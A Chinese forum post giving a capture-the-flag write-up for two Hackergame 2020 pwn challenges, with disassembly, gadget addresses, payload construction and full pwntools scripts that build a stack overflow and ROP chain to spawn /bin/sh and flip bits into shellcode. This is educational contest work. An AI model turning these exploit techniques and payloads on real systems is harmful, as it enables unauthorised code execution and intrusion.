首页
社区
课程
招聘
[原创]Hackergame 2020 pwn writeup
发表于: 2020-11-7 16:18 7171

[原创]Hackergame 2020 pwn writeup

2020-11-7 16:18
7171

这道题目要求和 AI 下一个 3x3 的井字棋,AI 先手且使用了一个不败的算法,最好的结果就是平局,而只有获胜我们才能拿到 flag。

第一问非常直白,只要获胜即可拿到第一个 flag,查看代码可以知道控制是否获胜的 success 变量是一个局部变量,即这里的 v15:

接收输入的变量为 v12,它也是一个栈变量,长度为 128B:

其中,v15 位于 rbp-1,v12 位于 rbp-0x90,因此这里我们可以通过 v12 栈溢出写入到 v15 中,使其变为 1 即可,因此在我们下第一步棋的时候在合法输入后跟上 payload 即可,注意这里不能无脑的写 1,因为循环的判断条件 while (!success) 的实际代码如下:

这里取出 1B 进行异或判断,如果这 1B 不是 0x01 而是 0xFF,则会无法正常通过 test 判断,因此这里我们选择的 payload 为 0x01 的序列,例如:

第二问要求 get shell,这道题目开启了 NX 但木有使用 Stack Canary,所以我们可以使用 ROP 方式完成调用 execve("/bin/sh", 0, 0),这里在 x64 下 execve 对应的调用号为 59,因此需要满足以下条件:

一般而言对于动态链接 libc 的程序,非常容易找到这些 gadget 以及 /bin/sh 字符串,但这道题目的 binary 静态链接了 libc,在这种情况下我们能找到的 gadget 只有如下这些:

这些能够完成一个 syscall 的调用,但却无法提供一个指向 /bin/sh 的指针,这就要求我们在 input 时在 payload 中预留一个 /bin/sh,再让 rdi 种存储它的地址,这里有两种玩法,第一种是先给任意寄存器写一个堆地址,再用 mov qword ptr 将 /bin/sh 写入到这个堆地址,最后就能 happy 的使用了,这种解法可以见官方 writeup。 我当时费解了竟然没有想到这种简单办法,而是选择了控制 rbp 去重入一次程序,精确控制写入的地址。

我最后采取的办法是控制 rbp,我们知道栈上的寻址都是直接基于 rbp 的,在函数最后执行 leave 操作时会 pop rbp,因此我们可以将期望的 rbp 写到栈上,然后将返回地址覆盖成程序接收输入前的地址,实现一个 rbp 可控的重入,这次我们就可以基于 hardcode 的 rbp 确定 /bin/sh 的地址了。

这里我选择的重入点为输入前的 0x4023F0:

对于 rbp,本来想选择一个栈上地址,但不知道为什么 remote 一直 crash,最后选择了一个堆地址 0x4a9000:

payload 为:

其中 0x4a9000 正好覆盖到栈上的 rbp,0x4023F0 则覆盖道返回地址,这么一番操作之后,函数 leave 后 rbp = 0x4a9000 并跳转到 0x4023F0 再次接收用户输入。这里的关键在于第二轮 rbp = 0x4a9000,input 变量是基于 rbp 寻址的,所以会写入到 rbp - 0x90 对应的地址:

随后在函数退出时,又会执行 leave,将当前的 rbp 赋值到 rsp 以恢复栈帧,使得 rsp 恰好指向了我们的 payload:

那么 payload 的开头我们如果放置 /bin/sh,则 rsp 恰好指向 /bin/sh,也就是 rbp 恰好指向 /bin/sh,即 0x4a9000 即为 /bin/sh 的地址。接下来就可以按照 ROP 的套路构造如下的调用链,gadget 可以使用 Ropper 直接在 binary 中扫描:

其中 rax 的值为 59(execve 的 syscall number),rdi 的值为 0x4a9000(/bin/sh 地址),其他的均为 0,我们按照这个规则构造 payload:

当第二次进入 leave 时,rsp 指向了 payload 的开头,随后函数 ret,第一个 gadget 地址 g_pop_rax_ret 被弹出,执行:

第一次 pop 弹出的是 payload + 8 的 59,随后的 ret 则弹出下一个 gadget,以此类推,最后即可 get shell。完整代码如下:

这道题明面上允许我们翻转任意地址内容的一位,随后调用 exit 退出,为了 get shell,我们需要多次翻转某个地址成为 shellcode 或者指向 one_gadget,然后想办法跳转到此完成 get shell。

由于开启了 NX,因此第一个想法是利用 one_gadget,先翻转出 one_gadget 的地址再想办法跳转过去,遗憾的是经过我一顿操作无论如何也满足不了几个 gadget 的约束条件(而且是恰好不满足,看起来是有意为之)。接下来就再试试 shellcode,通过阅读反汇编内容不难知道 bitflip 种包含了一个 JIT 区域:

即从 _init_proc ~ _init_proc + 0x1000 都是 JIT 区域,即 0x401000 ~ 0x402000,通过 vmmap 也可以验证这一点:

那么我们只要在这段区域内翻转出 shellcode,然后跳过来执行即可实现 get shell,接下来我们面临两个问题:

我们来看主程序代码:

搞一波就会被 exit,而且翻转逻辑位于 while 外部,所以我们只能翻转 exit 的地址让它跳回去,这里的 exit 是一个外部符号,需要通过二次跳转实现调用,这里的二跳第一次对应的是 stub helper 用来绑定真实的 exit 地址并完成调用,第二次就是 exit 的真实地址了:

可以看到 exit 第一次绑定的间接地址是 0x401070,我们要将它翻转为 main 中的一个可用地址,经过尝试可知 0x401170 是一个不错的选择,它恰好能让程序返回到 while 1 当中从而多次接收输入,因此我们要翻转的是指向 0x401070 的 0x404038 的第 8 位,而程序只允许我们翻转 0 ~ 7 位,所以我们转化为翻转 0x404039 的第 0 位,即输入为:

此时可以看到我们可以多次翻转地址了,下一步就是选择合适的 JIT 区域了,注意我们只能选择可以跳转过去的区域,这里我们可利用的也就只有 exit 了,再次翻转 exit 的间接跳转地址,让它指向 JIT 区域,目前的值是 0x401170,而 JIT 区域的范围是 0x401000 ~ 0x402000,我们可以选择翻转 0x404039 的第 3 位让 exit 指向 0x401970,那么 JIT 区域的位置也就确定了是 0x401970。

0x401970 是全 0 的区域,我们只需要按照 x64 shellcode 将其翻转即可,shellcode 为:

由于我们不是以字符串的形式传递 shellcode 的,不需要避免字符串被 0 截断,可以将 /bin//sh 改为 /bin/sh\x00 (因为我遇到了 /bin//sh 无法正确执行 syscall 的问题,不知道为啥),即 shellcode bytes 为:

将这些内容通过翻转写入到 0x401970 开始的地址,然后在完全翻转完成后再翻转一次 0x404039 的第 3 位即可跳转过来完成 get shell。

完整代码如下:

 
 
loc_402536:
movzx   eax, [rbp+var_1]
xor     eax, 1
test    al, al
jnz     loc_402373
loc_402536:
movzx   eax, [rbp+var_1]
xor     eax, 1
test    al, al
jnz     loc_402373
payload = b'(2,1)' + p8(0x01) * (0x90 - 0x01)
payload = b'(2,1)' + p8(0x01) * (0x90 - 0x01)
rax = 59
rdi = ptr -> /bin/sh
rsi = 0
rdx = 0
rax = 59
rdi = ptr -> /bin/sh
rsi = 0
rdx = 0
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall     = 0x0000000000402bf4
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall     = 0x0000000000402bf4
 
 
 
 
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(0x4a9000) + p64(0x4023F0)
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(0x4a9000) + p64(0x4023F0)
 
input = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + payload
input = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + payload
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret
payload  = b'/bin/sh\x00'
payload += p64(g_pop_rax_ret) + p64(59)
pyaload += p64(g_pop_rdi_ret) + p64(0x4a9000)
payload += p64(g_pop_rsi_ret) + p64(0)
payload += p64(g_pop_rdx_ret) + p64(0)
payload += p64(g_syscall)
payload  = b'/bin/sh\x00'
payload += p64(g_pop_rax_ret) + p64(59)
pyaload += p64(g_pop_rdi_ret) + p64(0x4a9000)
payload += p64(g_pop_rsi_ret) + p64(0)
payload += p64(g_pop_rdx_ret) + p64(0)
payload += p64(g_syscall)
pop rax
ret
pop rax
ret
from pwn import *
import sys
 
rbp = 0x4a9000
target_addr = rbp
is_remote = True
 
if not is_remote:
    p = process('./tictactoe')
else:
    p = remote('202.38.93.111', 10141)
 
if is_remote:
    print(p.recvuntil(':'))
    p.sendline('your token')
 
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall = 0x0000000000402bf4
g_restart = 0x4023F0
 
# first round
print('first round: change rbp')
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(rbp) + p64(g_restart)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvuntil(':'))
print('[Main] round 1 finished')
 
rop_payload = p64(g_pop_rax_ret) + p64(59) + p64(g_pop_rdi_ret) + p64(target_addr) + p64(g_pop_rsi_ret) + p64(0) + p64(g_pop_rdx_ret) + p64(0)
rop_payload += p64(g_syscall)
payload = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + b'/bin/sh\x00' + rop_payload
 
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvline())
print(p.recvline())
p.interactive()
from pwn import *
import sys
 
rbp = 0x4a9000
target_addr = rbp
is_remote = True
 
if not is_remote:
    p = process('./tictactoe')
else:
    p = remote('202.38.93.111', 10141)
 
if is_remote:
    print(p.recvuntil(':'))
    p.sendline('your token')
 
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall = 0x0000000000402bf4
g_restart = 0x4023F0
 
# first round
print('first round: change rbp')

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//